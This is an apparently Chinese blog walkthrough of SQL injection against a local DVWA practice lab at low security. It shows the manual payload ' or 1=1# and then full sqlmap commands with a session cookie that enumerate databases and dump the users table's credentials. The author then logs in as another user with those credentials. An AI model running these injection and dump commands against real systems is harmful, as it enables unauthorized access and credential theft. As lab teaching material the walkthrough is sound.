DVWA靶机-sql自动注入

时间:2022-03-27 01:11:05

1.

使用dvwa靶机进行sql注入实战(注:当前靶机安全级别为low)

打开sql漏洞,发现输入不同的数字会返回不同的信息,

DVWA靶机-sql自动注入

先尝试手工判断是否存在sql注入

一般sql注入语句像这样,我们构造的是后面两个单引号里面的内容

 

select * from users where userid=*

 

 

 

输入:

 or 1=1#

前面一个单引号闭合了查询语句自带的第一个单引号,

or 1=1 使得结果永远为真,

#则是用来让查询忽略后面连接的内容,--和#的作用相同

DVWA靶机-sql自动注入

看到它的确返回了全部内容

这次我们来试试它会不会报错

DVWA靶机-sql自动注入

 

提交报错以后出现:

 

DVWA靶机-sql自动注入

结合上面的内容我们可以判断这里是存在注入点的

 

 

2.

这里我的sqlmap是已经装好的

sqlmap需要python环境才能运行(kali自带sqlmap,或者也可以windows环境下安装)

windows下安装教程:

https://blog.csdn.net/lijia111111/article/details/54755009

 

 

 

cmd里面打开sqlmap

DVWA靶机-sql自动注入

 

这里先别急着粘贴url,因为登陆dvwa靶机需要用户名和密码,所以会有cookie的存在。

我们需要浏览器插件查看cookie(推荐使用火狐浏览器)

DVWA靶机-sql自动注入

 

这些就是当前页面的cookie,需要放到sqlmap注入语句后面

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch --dbs

 

这里简单解释一下:--batch自动选择yes or no;--dbs显示全部数据库

 

 

 

结果:

DVWA靶机-sql自动注入

我们只用进dvwa数据库查看

列出所有表名:

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa --tables

DVWA靶机-sql自动注入

这里只看users

列出所有字段名:

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users --columns

 DVWA靶机-sql自动注入

查看password和user:

python sqlmap.py -u"http://192.168.147.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=8aclj5sdvclvoo6f1c4ft7bfp3;security=low;acopendivids=swingset,jotto,phpbb2,redmine;acgroupswithpersist=nada" --batch -D dvwa -T users -C password,user --dump

DVWA靶机-sql自动注入

 

拿到用户名和密码了,回到dvwa登陆页面试试看

DVWA靶机-sql自动注入

 登陆成功

DVWA靶机-sql自动注入

左下角也显示当前用户是pablo而不是admin